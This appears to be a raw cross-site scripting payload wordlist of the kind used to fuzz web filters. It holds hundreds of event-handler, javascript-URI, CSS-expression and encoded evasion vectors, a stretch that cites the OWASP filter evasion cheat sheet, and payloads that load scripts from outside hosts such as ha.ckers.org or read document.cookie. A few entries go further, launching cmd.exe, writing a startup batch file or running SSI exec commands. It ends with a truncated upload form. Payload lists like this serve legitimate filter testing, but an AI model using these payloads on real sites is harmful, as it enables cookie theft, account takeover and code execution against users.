<video2 onmouseover="alert(1)" style=display:block>test</video2>
<video2 onmouseup="alert(1)" style=display:block>test</video2>
<video2 onmousewheel=alert(1) style=display:block>requires scrolling
<video2 onpointerdown=alert(1) style=display:block>XSS</video2>
<video2 onpointerenter=alert(1) style=display:block>XSS</video2>
<video2 onpointerleave=alert(1) style=display:block>XSS</video2>
<video2 onpointermove=alert(1) style=display:block>XSS</video2>
<video2 onpointerout=alert(1) style=display:block>XSS</video2>
<video2 onpointerover=alert(1) style=display:block>XSS</video2>
<video2 onpointerrawupdate=alert(1) style=display:block>XSS</video2>
<video2 onpointerup=alert(1) style=display:block>XSS</video2>
<video2 onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></video2>
<video><source onerror=alert(1) src=1></video>
<video><track default onload=alert(1) src="data:text/vtt,WEBVTT"></video>
<wbr contenteditable onbeforeinput=alert(1)>test
<wbr draggable="true" ondrag="alert(1)" style=display:block>test</wbr>
<wbr draggable="true" ondragend="alert(1)" style=display:block>test</wbr>
<wbr draggable="true" ondragenter="alert(1)" style=display:block>test</wbr>
<wbr draggable="true" ondragleave="alert(1)" style=display:block>test</wbr>
<wbr draggable="true" ondragstart="alert(1)" style=display:block>test</wbr>
<wbr id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></wbr>
<wbr id=x tabindex=1 onfocus=alert(1)></wbr>
<wbr id=x tabindex=1 onfocusin=alert(1)></wbr>
<wbr onafterscriptexecute=alert(1)><script>1</script>
<wbr onbeforecopy="alert(1)" contenteditable>test</wbr>
<wbr onbeforecut="alert(1)" contenteditable>test</wbr>
<wbr onbeforescriptexecute=alert(1)><script>1</script>
<wbr onblur=alert(1) id=x tabindex=1 style=display:block>test</wbr><input value=clickme>
<wbr onclick="alert(1)" style=display:block>test</wbr>
<wbr oncontextmenu="alert(1)" style=display:block>test</wbr>
<wbr oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<wbr oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<wbr ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</wbr>
<wbr onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</wbr><input value=clickme>
<wbr onkeydown="alert(1)" contenteditable style=display:block>test</wbr>
<wbr onkeypress="alert(1)" contenteditable style=display:block>test</wbr>
<wbr onkeyup="alert(1)" contenteditable style=display:block>test</wbr>
<wbr onmousedown="alert(1)" style=display:block>test</wbr>
<wbr onmouseenter="alert(1)" style=display:block>test</wbr>
<wbr onmouseleave="alert(1)" style=display:block>test</wbr>
<wbr onmousemove="alert(1)" style=display:block>test</wbr>
<wbr onmouseout="alert(1)" style=display:block>test</wbr>
<wbr onmouseover="alert(1)" style=display:block>test</wbr>
<wbr onmouseup="alert(1)" style=display:block>test</wbr>
<wbr onmousewheel=alert(1) style=display:block>requires scrolling
<wbr onpaste="alert(1)" contenteditable>test</wbr>
<wbr onpointerdown=alert(1) style=display:block>XSS</wbr>
<wbr onpointerenter=alert(1) style=display:block>XSS</wbr>
<wbr onpointerleave=alert(1) style=display:block>XSS</wbr>
<wbr onpointermove=alert(1) style=display:block>XSS</wbr>
<wbr onpointerout=alert(1) style=display:block>XSS</wbr>
<wbr onpointerover=alert(1) style=display:block>XSS</wbr>
<wbr onpointerrawupdate=alert(1) style=display:block>XSS</wbr>
<wbr onpointerup=alert(1) style=display:block>XSS</wbr>
<wbr onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></wbr>
<xmp contenteditable onbeforeinput=alert(1)>test
<xmp draggable="true" ondrag="alert(1)" style=display:block>test</xmp>
<xmp draggable="true" ondragend="alert(1)" style=display:block>test</xmp>
<xmp draggable="true" ondragenter="alert(1)" style=display:block>test</xmp>
<xmp draggable="true" ondragleave="alert(1)" style=display:block>test</xmp>
<xmp draggable="true" ondragstart="alert(1)" style=display:block>test</xmp>
<xmp id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xmp>
<xmp id=x tabindex=1 onfocus=alert(1)></xmp>
<xmp id=x tabindex=1 onfocusin=alert(1)></xmp>
<xmp onafterscriptexecute=alert(1)><script>1</script>
<xmp onbeforecopy="alert(1)" contenteditable>test</xmp>
<xmp onbeforecut="alert(1)" contenteditable>test</xmp>
<xmp onbeforescriptexecute=alert(1)><script>1</script>
<xmp onblur=alert(1) id=x tabindex=1 style=display:block>test</xmp><input value=clickme>
<xmp onclick="alert(1)" style=display:block>test</xmp>
<xmp oncontextmenu="alert(1)" style=display:block>test</xmp>
<xmp oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<xmp oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<xmp ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</xmp>
<xmp onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</xmp><input value=clickme>
<xmp onkeydown="alert(1)" contenteditable style=display:block>test</xmp>
<xmp onkeypress="alert(1)" contenteditable style=display:block>test</xmp>
<xmp onkeyup="alert(1)" contenteditable style=display:block>test</xmp>
<xmp onmousedown="alert(1)" style=display:block>test</xmp>
<xmp onmouseenter="alert(1)" style=display:block>test</xmp>
<xmp onmouseleave="alert(1)" style=display:block>test</xmp>
<xmp onmousemove="alert(1)" style=display:block>test</xmp>
<xmp onmouseout="alert(1)" style=display:block>test</xmp>
<xmp onmouseover="alert(1)" style=display:block>test</xmp>
<xmp onmouseup="alert(1)" style=display:block>test</xmp>
<xmp onmousewheel=alert(1) style=display:block>requires scrolling
<xmp onpaste="alert(1)" contenteditable>test</xmp>
<xmp onpointerdown=alert(1) style=display:block>XSS</xmp>
<xmp onpointerenter=alert(1) style=display:block>XSS</xmp>
<xmp onpointerleave=alert(1) style=display:block>XSS</xmp>
<xmp onpointermove=alert(1) style=display:block>XSS</xmp>
<xmp onpointerout=alert(1) style=display:block>XSS</xmp>
<xmp onpointerover=alert(1) style=display:block>XSS</xmp>
<xmp onpointerrawupdate=alert(1) style=display:block>XSS</xmp>
<xmp onpointerup=alert(1) style=display:block>XSS</xmp>
<xmp onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xmp>
<xss autofocus tabindex=1 onfocus=alert(1)></xss>
<xss autofocus tabindex=1 onfocusin=alert(1)></xss><script>alert('xss')</script>
<script>alert(string.fromcharcode(88,83,83))</script>
</title><script>alert(1)</script>
'> <script>alert(3)</script>
`> <script>alert(5)</script>
> <script>alert(4)</script>
<<script>alert("xss");//<</script>
>"'
'';!--"<XSS>=&{()}
*/a=eval;b=alert;a(b(/e/.source));/*
'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
%26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);//
</noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert("XSS")>
perl -e 'print "<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
<DIV STYLE="background-image: url(http://ha.ckers.org/xss.js)">Div Body</DIV>
alert(1)
A=alert;A(1)
+alert(0)+
';//%0da=eval;b=alert;a(b(9));//
a=1;a=eval;b=alert;a(b(11));//
'};a=eval;b=alert;a(b(13));//
1};a=eval;b=alert;a(b(14));//
'];a=eval;b=alert;a(b(15));//
1];a=eval;b=alert;a(b(17));//
1;a=eval;b=alert;a(b(/c/.source));
xyz onerror=alert(6);
> XSS | Replacive Fuzzers
>>This is a comment line to be changed in the future
<img src=`x` onrerror= ` ;; alert(1) ` />
</a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')">
style=color: expression(alert(0));" a="
vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
width: expression((window.r==document.cookie)?'':alert(r=document.cookie))
<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
<DIV STYLE="width: expression(alert('XSS'));">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');">
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<IMG SRC=`javascript:alert("RSnake says### 'XSS'")`>
<IMG SRC="javascript:alert('XSS')"
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=javascript:alert(String.fromCharCode(88###83###83))>
<IMG DYNSRC="javascript:alert('XSS');">
<IMG LOWSRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
exp/*<XSS STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<IMG SRC='vbscript:msgbox("XSS")'>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
<IMG SRC=javascript:alert('XSS')>
<IMGSRC="javascript:alert('XSS')">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
<IMG SRC="  javascript:alert('XSS');">
<XSS STYLE="xss:expression(alert('XSS'))">
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<IMG SRC=javascript:alert('XSS')>
firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');"
res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210
>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
(1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<SCRIPT SRC=http://ha.ckers.org/xss.js
<A HREF="http://google:ha.ckers.org">XSS</A>
<A HREF="http://ha.ckers.org@google">XSS</A>
<A HREF="//google">XSS</A>
<IFRAME SRC=http://ha.ckers.org/scriptlet.html <
y=<a>alert</a>;content[y](123)
sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a="
with(document.__parent__)alert(1)
style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e<s>333</s><s>444</s>
';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(4)</SCRIPT>=&{}");}alert(6);function xss(){//
';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title><script>alert(5)</script>}");}
'';!--"<script>alert(0);</script>=&{(alert(1))}
</textarea><br><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=`javascript:alert("XSS says, 'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">",
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert(<WBR>'XSS');">
<IMG SRC="jav
ascript:alert(<WBR>'XSS');">
/XSS STYLE=xss:expression(alert('XSS'))>
XSS STYLE=xss:e/**/xpression(alert('XSS'))>
XSS-STYLE=xss:e/**/xpression(alert('XSS'))>
XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
"><script>alert('XSS')</script>
<xml id=i><x><c><![cdata[<img src="javas]]]]><![CDATA[><![cdata[cript:alert('xss');">]]]]><![CDATA[></c></x></xml><span datasrc=#i datafld=c dataformatas=html>
<xml id="xss"><i><b><img src="javas<!-- -->cript:alert('xss')"></b></i></xml><span datasrc="#xss" datafld="b" dataformatas="html"></span>
<html><body><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributename="innerhtml" to="xss<script defer>alert('xss')</script>"> </body></html>
<html xmlns:xss><?import namespace="xss" implementation="httP://ha.ckers.org/xss.htc"><xss:xss>xss</xss:xss></html>
<xml src="httP://ha.ckers.org/xsstest.xml" id=i></xml><span datasrc=#i datafld=c dataformatas=html></span>
<?xml version="1.0"?><html:html xmlns:html='httP://www.w3.org/1999/xhtml'><html:script>alert(document.cookie);</html:script></html:html>
aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"
navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
<body onload=;a2={y:eval};a1={x:a2.y('al'+'ert')};;;;;;;;;_=a1.x;_(1);;;;
<body onload=a1={x:this.parent.document};a1.x.writeln(1);>
<body onload=;a1={x:document};;;;;;;;;_=a1.x;_.write(1);;;;
<body/s/onload=x={doc:parent.document};x.doc.writeln(1)
<body/????$/onload=x={doc:parent[�document�]};x.doc.writeln(1)
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<!--#exec cmd=""/usr/X11R6/bin/xterm ?display 127.0.0.1:0 &""-->
httP://aa"><script>alert(123)</script>
httP://aa'><script>alert(123)</script>
httP://aa<script>alert(123)</script>
<SCRIPT>alert('XSS')</SCRIPT>
<SCRIPT SRC=http://testsite.com/xss.js></SCRIPT>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<BASE HREF="javascript:alert('XSS');//">
<BGSOUND SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS');">
<BODY ONLOAD=alert('XSS')>
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS');">
<IMG LOWSRC="javascript:alert('XSS');">
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<IMG SRC='vbscript:msgbox("XSS")'>
<LAYER SRC="http://testsite.com/scriptlet.html"></LAYER>
<IMG SRC="livescript:[code]">
%BCscript%BEalert(%A2XSS%A2)%BC/script%BE
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IMG SRC="mocha:[code]">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://testsite.com/xss.css">
<STYLE>@import'http://testsite.com/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://testsite.com/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://testsite.com/xssmoz.xml#xss")}</STYLE>
<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
<HTML xmlns:xss> <?import namespace="xss" implementation="http://testsite.com/xss.htc"> <xss:xss>XSS</xss:xss> </HTML>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<XML SRC="http://testsite.com/xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<XSS STYLE="behavior: url(http://testsite.com/xss.htc);">
<SCRIPT SRC="http://testsite.com/xss.jpg"></SCRIPT>
<BR SIZE="&{alert('XSS')}">
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " >
perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out
perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
<IMG SRC=" &#14; javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://testsite.com/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT SRC=http://testsite.com/xss.js
<SCRIPT SRC=//testsite.com/.j>
<IMG SRC="javascript:alert('XSS')"
<IFRAME SRC=http://testsite.com/scriptlet.html <
<<SCRIPT>alert("XSS");//<</SCRIPT>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>
<P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">
<SCRIPT a=">" SRC="http://testsite.com/xss.js"></SCRIPT>
<SCRIPT ="blah" SRC="http://testsite.com/xss.js"></SCRIPT>
<SCRIPT a="blah" '' SRC="http://testsite.com/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://testsite.com/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://testsite.com/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://testsite.com/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://testsite.com/xss.js"></SCRIPT>#
# https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
# based on the RSnake original http://ha.ckers.org/xss.html
# Retrieved on 2013-11-20
# Much of this wildly obsolete
#
# XSS Locator 2
# Grave Accent Obfuscation
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
# Malformed A Tags
# (not actually malformed)
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
# Malformed IMG Tags
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
# fromCharCode
# Default SRC tag to get past filters that check SRC domain
<IMG SRC=# onmouseover="alert('xxs')">
# Default SRC tag by leaving it empty
# nickg; Unable to replicate in FF,Safari,Chrome 2014-01-10
# <IMG SRC= onmouseover="alert('xxs')">
# Default SRC tag by leaving it out entirely
<IMG onmouseover="alert('xxs')">
# Decimal HTML character references
# obsolete?
<IMG SRC="/" onerror=javascript:alert('XSS')>
# Decimal HTML character references without trailing semicolons
# obsolete
<IMG SRC="/x" onerror=javascript:alert('XSS')>
# Hexadecimal HTML character references without trailing semicolons
# obsolete form
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="/" onerror=javascript:alert('XSS')>
# Embedded tab
#<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="/x" onerror="jav ascript:alert('XSS');">
# Embedded escaped tab
#<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="/" onerror="jav	ascript:alert('XSS');">
# Embedded newline to break up XSS
#<IMG SRC="jav
ascript:alert('XSS');">
# Embedded CR
#<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="/x" onerror="jav
ascript:alert('XSS');">
# Null
# <IMG SRC="jav%00ascript:alert('XSS');">
<IMG SRC="/x" onerror="jav%00ascript:alert('XSS');">
# Spaces and meta chars before the JavaScript in images for XSS
#<IMG SRC="  javascript:alert('XSS');">
<IMG SRC="/x" onerror="  javascript:alert('XSS');">
# Non-alpha-non-digit XS
# this is bogus or obsolete
# <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
# Extraneous open brackets
<<SCRIPT>alert("XSS");//<</SCRIPT>
# No closing script tags
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
# Protocol resolution in script tags
<SCRIPT SRC=//ha.ckers.org/.j>
# Half open HTML/JavaScript XSS vector
# Double open angle brackets
<iframe src=http://ha.ckers.org/scriptlet.html <
# Escaping JavaScript escapes
# N/A
# End title tag
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
# INPUT image
# BODY image
<BODY BACKGROUND="javascript:alert('XSS')">
# IMG Dynsrc
# Wildly obsolete
<IMG DYNSRC="javascript:alert('XSS')">
# IMG LOW src
# Wildy obsolete
<IMG LOWSRC="javascript:alert('XSS')">
# List-style-image
# likely obsolete
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
# VBscript in an image
# Livescript (older versions of Netscape only)
# Obsolete
# <IMG SRC="livescript:[code]">
# BODY tag
<BODY ONLOAD=alert('XSS')>
# BGSOUND
<BGSOUND SRC="javascript:alert('XSS');"
# & JavaScript includes
# <BR SIZE="&{alert('XSS')}">
# STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
# Remote style sheet
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
# Remote style sheet part 2
# Remote style sheet part 3
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
# Remote style sheet part 4
# STYLE tags with broken up JavaScript for XSS
# STYLE attribute using a comment to break up expression
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"
# IMG STYLE with expression
# STYLE tag (Older versions of Netscape only)
# STYLE tag using background-image
# STYLE tag using background
# Anonymous HTML with STYLE attribute
# Local htc file
<XSS STYLE="behavior: url(xss.htc);">
# META
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
# META using data
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
# IFRAME
# IFRAME Event based
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
# FRAME
# TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">
# TD
# DIV background-image
# DIV background-image with unicoded XSS exploit
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.
# DIV background-image plus extra characters
# DIV expression
# "Downlevel-hidden block"
<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->
# BASE tag
<BASE HREF="javascript:alert('XSS');//">
# Object tag
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
# Using an EMBED tag you can embed a Flash movie that contains XSS
<EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:org/xss.swf" AllowScriptAccess="always"></EMBED>
# You can EMBED SVG which can contain your XSS vector
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
# Using ActionScript inside flash can obfuscate your XSS vector
# XML data island with CDATA obfuscation
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
# Locally hosted XML with embedded JavaScript that is generated using an XML data island
<XML SRC="xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
# XSS using HTML quote encapsulatio
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
?xss0='\"'><script>alert(document.domain)</script>
?xss1='\"/onfocus=alert(domain) autofocus a=\"'
?xss2='\"'><marquee/onscroll=alert(domain)>XSS
?xss3=<a/href=data:text/html;charset=UTF-7,+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4->test
?xss4=]]]]><![CDATA[><img src=xのerror=alert(1)>
?xss5=＜script>alert(\"xss\")＜/script>
?xss6=\></a style=\"xss:ex/**/pression(alert(domain));\"
?xss7=''\"--><script>eval(String.fromCharCode(88,83,83)));%00
?xss8=\"/onerror=alert(domain)//
?xss9= style=\"-moz-binding:url(http://h4k.in/mozxss.xml#xss);\" a=\"
?xssa=<form id=\"test\" /><button form=\"test\" formaction=\"javascript:alert(document.domain)\">X
?xssb=\><video><source onerror=\"javascript:alert(document.domain)\">
?xssc=''\"--><comment><img src=\"</comment><img src=x onerror=alert(1))//\">
?xssd=<style><img src=\"</style><img src=x onerror=alert(domain)//\">
?xsse=<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>
?xssf=<img src=\"x` `<script>alert(1)</script>\"` `>
?xssg=0%20%73%54%79%4c%65%3d%58%3a%65%58%2f%2a%2a%2f%70%52%65%53%73%49%6f%4e%28%61%6c%65%72%74%28%36%36%31%35%35%29%29
document.write(...)
document.writeln(...)
document.body.innerHtml=...
document.forms[0].action=...
document.attachEvent(...)
document.create...(...)
document.execCommand(...)
document.body. ...
window.attachEvent(...)
document.location=...
document.location.hostname=...
document.location.replace(...)
document.location.assign(...)
document.URL=...
window.navigate(...)<html>
<head></head>
<body>
<form method="POST" action="https://leetfil.es/api/upload/videor" enctype="multipart/from-data" name="lfilxss">
<input type="file" name="file" id="file" />
